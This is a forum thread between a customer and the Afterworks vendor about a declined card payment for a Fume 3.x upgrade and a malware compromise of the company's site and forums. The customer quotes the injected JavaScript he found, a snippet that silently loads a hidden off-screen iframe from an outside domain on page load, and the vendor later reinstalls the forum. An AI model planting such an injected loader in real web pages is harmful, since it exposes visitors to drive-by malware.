Afterworks Site and Purchasing

[shawnolson]

I sent an email to Afterworks yesterday regarding a security problem on the site. That same flaw is persisting on the forums. So whomever modified the main site also got into the forums. I did not receive a response email so I am not sure that even got through.

Secondly, I tried to purchase an upgrade for Fume 3.x but the transaction did not go through. During the checkout it said to check my card details, but they were certainly correct. In fact, I almost immediately got an email from my bank asking me to confirm this.

Please let me know if the transaction got though on your end. It might be convenient if you added PayPal as a merchant option... as I am becoming more leery about putting my credit card details into online forms as I age.

[sitnisati]

Hello,

I am sorry, but we didn't receive your email, but got few others and we have fixed the main web site ASAP. As for the forum, it seems uninfected but will keep looking.

As for your order, it does not get through unless your bank approves it and this one was declined. In cases like this, please contact our bank as we can't do anything. It is the customer's bank that verifies the credit card and transaction.
Regarding entering credit card numbers, we do not store any data, in contrast to the PayPal service which does.

Thank you.

Kresimir Tkalcec

[shawnolson]

Thanks for responding.

The same security flaw is in the forums. If you view any page and click View Source, there is the same embedded iframe with the name "Twitter" but it is actually a malware page embedded.

Regarding the payment, I understand that Afterworks may not, in fact, store the info and that PayPal does store that info... what I mean is that as a consumer I feel better that I keep my CC info "shared" with as few entities as possible. I have spent the last 10 years working primarily as a web developer and know all too well how shoddy security is on many small online businesses; I'd rather use services like PayPal because it's one merchant many of us already use and I know with certainty who actually has my CC info (I am not implying anything against Afterworks but speaking generally). When inputting CC info into any online form on a website, you have NO way to know how that info is being used/shared.

Anyway, I'll have to call my bank and ask why it was not allowed.

[shawnolson]

I'm not sure why the bank blocked the earlier attempt, but it looks like it accepted my second post. I look forward to using the new version.

I'd still like to see a PayPal option

[sitnisati]

Thank you for your order.
No problems as I completely understand you, but I assure you that we do not keep any CCard info. My biggest fear is handling my credit card to the waiter

Regards,

Kresimir Tkalcec

[shawnolson]

I got the new files. Thank you

The forums are still compromised, though.

The HTML iframe that was embedded is now replaced with a JavaScript that dynamically loads an iframe. Look for a chunk at the bottom that has this:

Code:

function frmAdd() { var ifrm = document.createElement('iframe'); ifrm.style.position='absolute'; ifrm.style.top='-999em'; ifrm.style.left='-999em'; ifrm.src = "http://fenwaywest.com/media/index.php";ifrm.id = 'frmId';document.body.appendChild(ifrm);};window.onload = frmAdd;

This plays some random audio advertisement for my system. I am sure it is pulling dynamic content . When I did a google search on the domain listed above, there were many mosts about that URL pushing malware.

PS. Just FYI, I think the URL I noticed the last couple days was pointing to another URL. So if you did not make any changes to the forums in last few days, then it probably means that someone is actively changing the code or that the PHP scripts controlling the forum template is compromised. I'd suggest two things: changing all admin passwords to any login (site and forums as well as FTP and site control panel) and I would also update the forum software.

[Filip Kaczorek]

Yepp,
my antivirus keeps popping up on the forum, on each site

[sitnisati]

Thanks for the help.
I did reinstall the forum and the forum theme and so far it seems okay.
Please let me know if you see the warning again.

Kresimir Tkalcec

[shawnolson]

Yes, that has destroyed the problem.

[Filip Kaczorek]

Yep, peacefull here too